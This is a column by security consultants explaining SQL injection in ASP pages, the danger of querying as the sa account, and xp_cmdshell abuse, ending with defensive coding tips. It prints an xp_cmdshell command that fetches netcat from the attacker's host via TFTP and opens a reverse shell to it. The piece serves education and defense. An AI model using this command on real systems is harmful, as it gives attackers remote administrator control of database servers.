By Chris Prosise and Saumil Udayan Shah
In our last column, we looked at how tiny oversights in Web applications that make SQL queries can lead to security vulnerabilities with serious consequences. Before we dive into further SQL details, let's look at why resolving such errors is so important. Web applications and the systems supporting them form a complex architecture. From the users' viewpoint, the only means of interacting with the system is a Web browser. The browser offers the user the ability to click various URLs or submit input via forms, then displays the HTML output subsequently generated by the Web application.
The transaction between the user and the Web server occurs entirely using HTTP. A single HTTP request sent from the browser has the potential to affect numerous areas of the Web application. In the diagram of the typical Web architecture from our prior column, let's analyze how the URL http://yummyrecipesonline/scripts/recipe.asp?recipe_id=1 is handled by the whole system.
The first part, http://yummyrecipesonline/, is handled by the IIS Web server running on TCP port 80 on the yummyrecipesonline server. The IIS server is now responsible for sending the rest of the URL, which is /scripts/recipe.asp?recipe_id=1, to the appropriate modules of the Web application system.
In our example, the Web application is handled by the ASP.DLL module within IIS. ASP.DLL parses and executes the code written in the file recipe.asp. The rest of the URL, ?recipe_id=1, is the query string that gets handled by the code in recipe.asp. In our example, the query string is rewritten as a SQL query and is then fired off to the back end database server.
Cruisin' for a bruisin'
From an attacker's perspective, the URL is analogous to the navigation component of a cruise missile. A cruise missile follows a map to selectively attack targets within enemy territory. The URL is used for navigation, too, so tampering with or manipulating various components of it can have effects on different areas within the Web application system. Essentially, any part of the URL before the query string (which begins with a question mark) is handled by the Web server or the Web application module. The rest of the URL is handled by the Web application itself. In this example, tampering with the query string has an effect deep within the Web application system. In this case, the component of the Web application system that comes under attack is the database server. This can be the deadliest attack on a Web application system.
Assuming that the Web and application servers are relatively secure, the security of the entire Web application system depends on the strength of the Web application. It is the programmer's task to ensure that the application does not suffer from security vulnerabilities. Firewalls and vendor patches do not protect the system from application-level security vulnerabilities, as is the case with SQL oversights.
The second error
We ended our last column with a contest. There were two glaring SQL related errors in the ASP code. The first error comes when the inputs received from the user (the query string) aren't validated before passing the query to the back end database. The second error is more subtle.
This error stems from the database connection used for making SQL queries that have database administrator privileges.
01: Const CONNECT_STRING =
Queries fired off at the back end database server are run with administrator privileges. Attackers can manipulate queries to access any area of the database because they have full privileges over all of the objects contained in the database. A more secure query would use a lesser-privileged database account than sa.
The story with stored procedures
Stored procedures often get overlooked in database security design. As active code elements embedded within the database, stored procedures can be executed via SQL queries. Many commercial database servers come with system-stored procedures bundled. Microsoft SQL server comes with a set of extended stored procedures that begin with xp_. These stored procedures can be invoked only by the system administrator. However, in this example, the URL can be modified to fire off back end stored procedures. One of the stored procedures, xp_cmdshell, can be used to execute native system commands. Because all extended stored procedures run under the system administrator (sa) context, the commands passed to xp_cmdshell get executed with Windows system user privileges.
But xp_cmdshell can be problematic. For example, if the attacker uses the following URL, we are in serious trouble:
A careful look at the URL shows what has happened. The query string is:
EXEC master..xp_cmdshell 'tftp -I 192.168.1.3 GET nc.exe&&nc -e cmd.exe 192.168.1.3 2000
The attacker has invoked the xp_cmdshell stored procedure on Microsoft SQL Server and executed two commands. The first command instructs the system to download Netcat (nc.exe) from a TFTP server on 192.168.1.3, which would be the attacker's own machine. The next command is to spawn a command shell within nc.exe and launch the connection back to 192.168.1.3 on TCP port 2000. The attacker now has a command prompt on the internal database system with full administrator privileges.
If the SQL server were running on a system other than the Web server, this single URL could compromise the internal database server, bypassing the firewall and the Web server filters. At this point, the system is "owned."
And the winner is...
In our last article, we promised to give away a Foundstone "Black Hat 2001 Special Edition" T-shirt to the first reader who sent in the correct explanation for the above error. The winner is Sean Askew from EDS Australia. The shirt is on its way to Sean, in Sydney!
Some helpful hints
As security consultants, our clients often ask us: "What patch can fix this vulnerability?" Well, that patch is called "secure coding," and unfortunately, it's the most difficult patch to apply. But we can offer some helpful hints on keeping SQL vulnerabilities at bay:
- Perform proper validation of all input data coming from the browser. Check the maximum length, the data type, and the value ranges if applicable.
- Never run SQL queries under system administrator or database administrator context. Always create a separate database user with the minimal privileges required and run queries under that context. If the application requires only read-access to the database, grant the privileges appropriately.
- Ensure that all unnecessary SQL stored procedures and tables are removed from your system.
- Perform thorough application testing and code reviews before deploying the code out on the production servers.
- Keep abreast of the latest security developments.
Your feedback is always welcome. Please write to us at email@example.com.
Chris Prosise is the vice president of professional services at Foundstone, a network security firm specializing in consulting and training. Formerly a U.S. Air Force officer and a Big 5 consultant, Chris is the coauthor of Incident Response: Investigating Computer Crime and is an adjunct professor at Carnegie Mellon University. Chris holds a B.S. in electrical engineering from Duke University and is a Certified Information Systems Security Professional (CISSP).
Saumil Udayan Shah, principal consultant for Foundstone, provides information security consulting services to Foundstone clients. Shah specializes in ethical hacking and security architecture. He holds an M.S. in computer science from Purdue University and is a Certified Information Systems Security Professional (CISSP).